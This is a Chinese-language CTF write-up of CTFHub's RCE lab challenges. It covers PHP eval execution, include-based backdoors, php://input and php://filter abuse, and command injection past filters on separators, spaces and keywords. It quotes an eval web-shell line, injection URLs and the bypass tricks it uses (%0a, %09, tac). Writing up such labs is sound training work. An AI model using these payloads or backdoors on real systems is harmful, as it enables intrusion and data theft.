目录

ctfhub RCE代码执行和命令执行漏洞

01-eval代码执行

代码审计

1
2
3
4
5
6
7
<?php
    if (isset($_REQUEST['cmd'])) {
        eval($_REQUEST["cmd"]); //eval漏洞函数执行传入的cmd
    } else {
        highlight_file(FILE);
    }
?>

检测

传入cmd=phpinfo();, 被成功执行

1
2
// 注意分号
http://challenge-57aa3fc8384470b8.sandbox.ctfhub.com:10800/?cmd=phpinfo();

利用

要获得flag,我们想看看当前目录内容,但是eval是代码执行函数不是系统命令执行函数,所以我们还需要配合system函数进行检查

1
2
3
4
5
// 注意分号
http://challenge-57aa3fc8384470b8.sandbox.ctfhub.com:10800/?cmd=system('ls');

// 最终在下面目录发现flag文件
http://challenge-57aa3fc8384470b8.sandbox.ctfhub.com:10800/?cmd=system('cat ../../../flag_32351');

有时候cat会被过滤,这时候可以使用cat< 或者tac 替换

02-文件包含(后门)

代码审计出现include很明显文件包含漏洞
根据提示,增加file=shell.txt,与访问/shell.txt效果一致
参数file要存在于GET参数中,即url位置

./01-page.png
题目提示

方法1:网站后门原理

  • shell.txt留下的是一个后门,通过include包含就会被解析
  • 请求方法没有被限制
  • 最重要的一点,shell.txt 使用了eval函数,被包含的时候可以执行php代码或者系统命令
1
<?php eval($_REQUEST['ctfhub']);?>

请求对应的参数,添加post data

1
2
3
4
// 注意分号 
ctfhub=system('ls');
...
ctfhub=system('cat ../../../flag');

./01-result.png
通过后门ctfhub执行命令

方法2:伪协议执行命令

./01-copy.png
执行复制命令

  • 通过伪协议复制shell.txt为shell.php
  • 然后就可以通过antsword连接

./01-copy-res.png
复制成功

03-php://input命令执行

./02-tips.png
提示

注意发送post尽量使用burpsuite抓包,hackbar有时候会失败

./02-res.png
burpsuite发送post请求

04-文件包含(远程命令执行)

./04-tips.png
题目提示

检测

提示发先有一个phpinfo.php可以直接访问,且存在文件包含漏洞

./04-phpinfo.png
文件包含phpinfo.php成功

利用

  1. burpsuite 抓包,通过file=php://input+POST_DATA:<?php system('cat ../../../flag');?>
  2. cat即可

./04-res.png
执行命令

05-读取源码(php://filter)

./05-tips.png
题目提示

  1. 利用 file=php://input 执行命令不成功,没有任何返回
  2. 但是发现可以利用文件读取 file=php://filter/read=convert.base64-encode/resource=/flag
  3. 最后base64解码即可

./05-flag.png
base64编码后的flag

06-命令注入(无过滤)

./06-tips.png
tips

比较简单,没有任何过滤,直接连接命令即可

./06-ping.png
ping

07-命令注入(过滤cat)

同06-命令注入,把cat改成tac/tail等都可以
GET /?ip=127.0.0.1+%26+tac<flag_121201466518505.php HTTP/1.1

08-命令注入(过滤空格)

同06,去除空格即可,中间可以使用 | 或者 & 或者 ; 连接 GET /?ip=127.0.0.1%26cat<flag_225932429025074.php HTTP/1.1

09-命令注入(目录分隔符过滤)

注意本题 |& 都不成功,只有 ;可以

GET /?ip=127.0.0.1;cd flag_is_here;cat flag_526178376091.php HTTP/1.1

10-命令注入(&过滤)

使用分号即可
GET /?ip=127.0.0.1%3Bcat<flag_21354689519479.php HTTP/1.1

11-综合

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}

命令分隔符被过滤

  1. 测试发现 |&;都被过滤

    1
    2
    3
    4
    5
    6
    
     if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
         $cmd = "ping -c 4 {$ip}";
         exec($cmd, $res);
     } else {
         $res = $m;
     }
    
  2. %00 也被检测

    ./11-detect.png
    %00也不能成功

  3. 尝试换行符 %0a,通过检测GET /?ip=127.0.0.1%0als HTTP/1.1

    ./11-0a.png
    %0a成功

路径部分关键字被过滤

  1. 通过 ls 知道有一个flag_is_here文件夹,查看文件夹内容,ls flag_is_here却因为flag等关键字被过滤
  2. 利用tab的url编码 %09构成ls%09*here(注意星号)绕过, GET /?ip=127.0.0.1%0als%09*here HTTP/1.1,获得flag的文件名
  3. 同样进入文件夹flag_is_here也可以通过%09绕过
  4. 由于cat被过滤,可以使用tac绕过,如法炮制,获得flag_is_here路径下的flag文件名 GET /?ip=127.0.0.1%0acd%09*here%0apwd%0atac%09*16870153813200.php HTTP/1.1

./11-res.png
结果